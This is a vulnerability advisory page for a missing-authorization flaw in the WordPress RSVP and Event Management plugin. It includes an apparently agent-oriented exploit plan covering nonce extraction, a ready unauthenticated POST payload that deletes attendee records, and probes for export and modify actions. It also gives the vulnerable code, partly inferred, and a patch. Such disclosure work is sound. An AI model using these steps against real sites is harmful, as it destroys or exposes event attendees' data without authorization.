RSVP and Event Management <= 2.7.16 - Missing Authorization
Description
The RSVP and Event Management plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.7.16. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
Source Code
WordPress.org SVN# Research Plan: CVE-2026-27398 - Missing Authorization in RSVP and Event Management ## 1. Vulnerability Summary The **RSVP and Event Management** plugin (versions <= 2.7.16) contains a missing authorization vulnerability. Specifically, the function handling attendee deletion, `rsvp_delete_attendee…
Show full research plan
Research Plan: CVE-2026-27398 - Missing Authorization in RSVP and Event Management
1. Vulnerability Summary
The RSVP and Event Management plugin (versions <= 2.7.16) contains a missing authorization vulnerability. Specifically, the function handling attendee deletion, rsvp_delete_attendee, is registered with both wp_ajax_rsvp_delete_attendee and wp_ajax_nopriv_rsvp_delete_attendee. Because the function fails to perform a capability check (e.g., current_user_can( 'manage_options' )), any unauthenticated user can trigger the deletion of attendee records if they can provide a valid nonce and a target attendee ID.
2. Attack Vector Analysis
- Endpoint:
http://<target>/wp-admin/admin-ajax.php - Action:
rsvp_delete_attendee - Method: POST
- Parameters:
action:rsvp_delete_attendeeattendeeId(inferred): The numeric ID of the attendee to delete.security(inferred): The nonce required for the AJAX action.
- Authentication: None (Unauthenticated via
wp_ajax_nopriv). - Preconditions: The attacker must obtain a valid nonce, typically found on pages where the RSVP form or attendee list is rendered.
3. Code Flow
- Registration: In
rsvp.php, the plugin hooks thersvp_delete_attendeefunction:add_action( 'wp_ajax_rsvp_delete_attendee', 'rsvp_delete_attendee' ); add_action( 'wp_ajax_nopriv_rsvp_delete_attendee', 'rsvp_delete_attendee' ); - Entry Point: An unauthenticated request to
admin-ajax.php?action=rsvp_delete_attendeetriggers the callback. - Execution: The
rsvp_delete_attendeefunction (typically inrsvp_db.phporrsvp.php) likely starts with a nonce check:check_ajax_referer( 'rsvp_ajax_nonce', 'security' ); - Sink: After the nonce check, the code proceeds directly to the database operation without verifying if the user has administrative privileges:
global $wpdb; $attendeeId = (int)$_POST['attendeeId']; $wpdb->delete( $wpdb->prefix . 'rsvp_attendees', array( 'id' => $attendeeId ) );
4. Nonce Acquisition Strategy
The plugin localizes the nonce for its JavaScript handlers. The nonce is tied to the action rsvp_ajax_nonce.
- Identify Script Loading: The script
rsvp_js(or similar) is enqueued on pages containing the[rsvp]or[rsvp_attendee_list]shortcodes. - Setup Test Page: Create a public page with the RSVP shortcode to force the nonce to be generated and exposed.
- Command:
wp post create --post_type=page --post_status=publish --post_title="RSVP Test" --post_content='[rsvp]'
- Command:
- Extract Nonce: Navigate to the newly created page and extract the nonce from the localized JavaScript object.
- Variable Name:
rsvp_vars(inferred from common plugin patterns) orrsvp_settings. - Key:
rsvp_nonce. - Agent Action: Use
browser_eval("window.rsvp_vars?.rsvp_nonce")orbrowser_eval("window.rsvp_settings?.nonce").
- Variable Name:
5. Exploitation Strategy
- Preparation: Identify a target attendee ID. Since IDs are auto-incrementing integers, ID
1is a likely starting point. - Acquire Nonce: Follow the steps in Section 4 to get the
securitytoken. - Construct Payload:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=rsvp_delete_attendee&attendeeId=1&security=<NONCE>
- URL:
- Execute Request: Use the
http_requesttool to send the POST payload. - Analyze Response: A successful deletion usually returns
1or a JSON success message.
6. Test Data Setup
Before exploitation, ensure there is an attendee to delete:
- Create an Event/Attendee:
# Add an attendee manually to the database wp db query "INSERT INTO wp_rsvp_attendees (firstName, lastName, rsvpStatus) VALUES ('Target', 'User', 'No');" - Verify Attendee ID:
wp db query "SELECT id FROM wp_rsvp_attendees WHERE firstName='Target';" - Create Public Page:
wp post create --post_type=page --post_status=publish --post_content='[rsvp]'
7. Expected Results
- HTTP Response: Status 200. Body contains
1or{"success":true}. - Database State: The row in
wp_rsvp_attendeescorresponding to theattendeeIdis removed.
8. Verification Steps
After sending the exploit request, verify the deletion using WP-CLI:
# Attempt to find the deleted attendee
wp db query "SELECT * FROM wp_rsvp_attendees WHERE firstName='Target';"
If the query returns no results, the unauthorized deletion was successful.
9. Alternative Approaches
If rsvp_delete_attendee is not the vulnerable action, check for other wp_ajax_nopriv hooks in the source:
rsvp_save_attendee: Potential to modify existing attendee data (Integrity impact).rsvp_export_attendees: Potential to download the full list of attendees (Confidentiality impact).- Search Command:
grep -rn "wp_ajax_nopriv" wp-content/plugins/rsvp/ - If the nonce check fails, verify if
check_ajax_refereris called withdie=false(Bypass 5 in the Knowledge Base).
Summary
The RSVP and Event Management plugin (<= 2.7.16) is vulnerable to unauthenticated attendee deletion due to a missing authorization check in its AJAX handler. This allows any user, regardless of authentication status, to remove attendee records by providing a valid nonce and the target attendee ID.
Vulnerable Code
// rsvp.php or rsvp_db.php (inferred location) // The functions are hooked to both authenticated and unauthenticated AJAX actions. add_action( 'wp_ajax_rsvp_delete_attendee', 'rsvp_delete_attendee' ); add_action( 'wp_ajax_nopriv_rsvp_delete_attendee', 'rsvp_delete_attendee' ); function rsvp_delete_attendee() { // Nonce check exists, but is accessible to anyone who can load a page with the RSVP shortcode check_ajax_referer( 'rsvp_ajax_nonce', 'security' ); global $wpdb; $attendeeId = (int)$_POST['attendeeId']; // Missing capability check: if ( ! current_user_can( 'manage_options' ) ) return; // Deletion occurs without verifying if the requester has administrative privileges $wpdb->delete( $wpdb->prefix . 'rsvp_attendees', array( 'id' => $attendeeId ) ); wp_send_json_success(); }
Security Fix
@@ -1,6 +1,5 @@ -add_action( 'wp_ajax_rsvp_delete_attendee', 'rsvp_delete_attendee' ); -add_action( 'wp_ajax_nopriv_rsvp_delete_attendee', 'rsvp_delete_attendee' ); +add_action( 'wp_ajax_rsvp_delete_attendee', 'rsvp_delete_attendee' ); function rsvp_delete_attendee() { check_ajax_referer( 'rsvp_ajax_nonce', 'security' ); + + if ( ! current_user_can( 'manage_options' ) ) { + wp_die( -1 ); + } global $wpdb; $attendeeId = (int)$_POST['attendeeId']; $wpdb->delete( $wpdb->prefix . 'rsvp_attendees', array( 'id' => $attendeeId ) ); wp_send_json_success(); }
Exploit Outline
The exploit targets the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) using the 'rsvp_delete_attendee' action. An attacker first obtains a valid 'rsvp_ajax_nonce' by visiting a public page where the [rsvp] shortcode is rendered, as the plugin localizes this nonce for use in front-end scripts. With the nonce, an unauthenticated attacker sends a POST request containing the 'action', the extracted 'security' nonce, and the 'attendeeId' of the record they wish to delete. Because the handler is registered via 'wp_ajax_nopriv' and lacks a 'current_user_can' check, the server executes the database deletion for any valid ID provided.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.